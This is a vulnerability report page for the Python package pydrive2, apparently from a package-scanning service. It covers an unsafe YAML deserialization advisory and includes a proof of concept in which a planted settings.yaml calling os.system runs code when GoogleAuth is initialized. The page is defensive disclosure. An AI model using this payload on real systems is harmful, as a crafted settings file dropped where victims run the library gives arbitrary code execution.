pypi package report

Is pydrive2 safe?

1 known vulnerability, worst severity LOW.

// reach

17 direct dependencies

8 carry known advisories, worst CRITICAL

3 packages depend on it

an advisory here reaches each of them

Create a free accountfor every dependency path, dependent and what to upgrade
// ai model usage

No published models are known to use this package.


cvss
0.0
low

severity out of 10

epss
0.00%
medium

chance of exploitation in 30 days, 43rd percentile of all CVEs

xyz score
0.0
low

CyberXYZ composite out of 10

fig. 01 — GHSA-v5f6-hjmf-9mc5, the advisory selected below

// 1 advisories

GHSA-v5f6-hjmf-9mc5

LOWCVE-2023-49297
// summary

Unsafe YAML deserilization will result in arbitrary code execution. A maliciously crafted YAML file can cause arbitrary code execution if PyDrive2 is run in the same directory as it, or if it is loaded in via LoadSettingsFile.

// details

The loader being imported from the yaml library is CLoader: https://github.com/iterative/PyDrive2/blob/30c0f487c0666c0d1944ef774107359f39adc2fa/pydrive2/settings.py#L5

This loader is then used to load a user supplied file: https://github.com/iterative/PyDrive2/blob/30c0f487c0666c0d1944ef774107359f39adc2fa/pydrive2/settings.py#L108-L121

CLoader is considered unsafe. It will allow any Python code inside of it to be executed. This loading behaviour also happens automatically, the file only needs to be present for this vulnerability to occur.

https://github.com/iterative/PyDrive2/blob/30c0f487c0666c0d1944ef774107359f39adc2fa/pydrive2/settings.py#L9

Reference: https://www.exploit-db.com/docs/english/47655-yaml-deserialization-attack-in-python.pdf

// poc
  • Create a malicious settings.yaml file:
!!python/object/new:os.system [echo poc]
  • Initialize a GoogleAuth object .
from pydrive2.auth import GoogleAuth

gauth = GoogleAuth()
  • Execute the code with the settings file present in your directory. The code inside the file will be executed:
[evan@ejedev PyDrive2]$ ls
CHANGES  client_secrets.json  CONTRIBUTING.rst  docs  examples  LICENSE  main.py  MANIFEST.in  pydrive2  pyproject.toml  pytest.ini  README.rst  settings.yaml  setup.py  tox.ini
[evan@ejedev PyDrive2]$ cat settings.yaml
!!python/object/new:os.system [echo poc]
[evan@ejedev PyDrive2]$ cat main.py 
from pydrive2.auth import GoogleAuth


gauth = GoogleAuth()
[evan@ejedev PyDrive2]$ python3 main.py 
poc

Alternatively, the file can be loaded in directly via pydrive2.settings.LoadSettingsFile

// impact

This is a deserilization attack that will affect any user who initializes GoogleAuth from this package while a malicious yaml file is present in the same directory. As it does not require it to be directly loaded through the code, only present, I believe this produces an extra element of risk.

// cvss v3.1 vector

CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:L/I:N/A:N

Attack vector
Local
Attack complexity
Low
Privileges required
None
User interaction
Required
Scope
Unchanged
Confidentiality
Low
Integrity
None
Availability
None

Checked 2026-10-23 at 18:48 UTC. The most recent advisory here was published 2023-12-05. Updated continuously from NVD, GHSA, OSV and CNA feeds.

Think a verdict here is wrong? Tell us — we respond within 2 business days.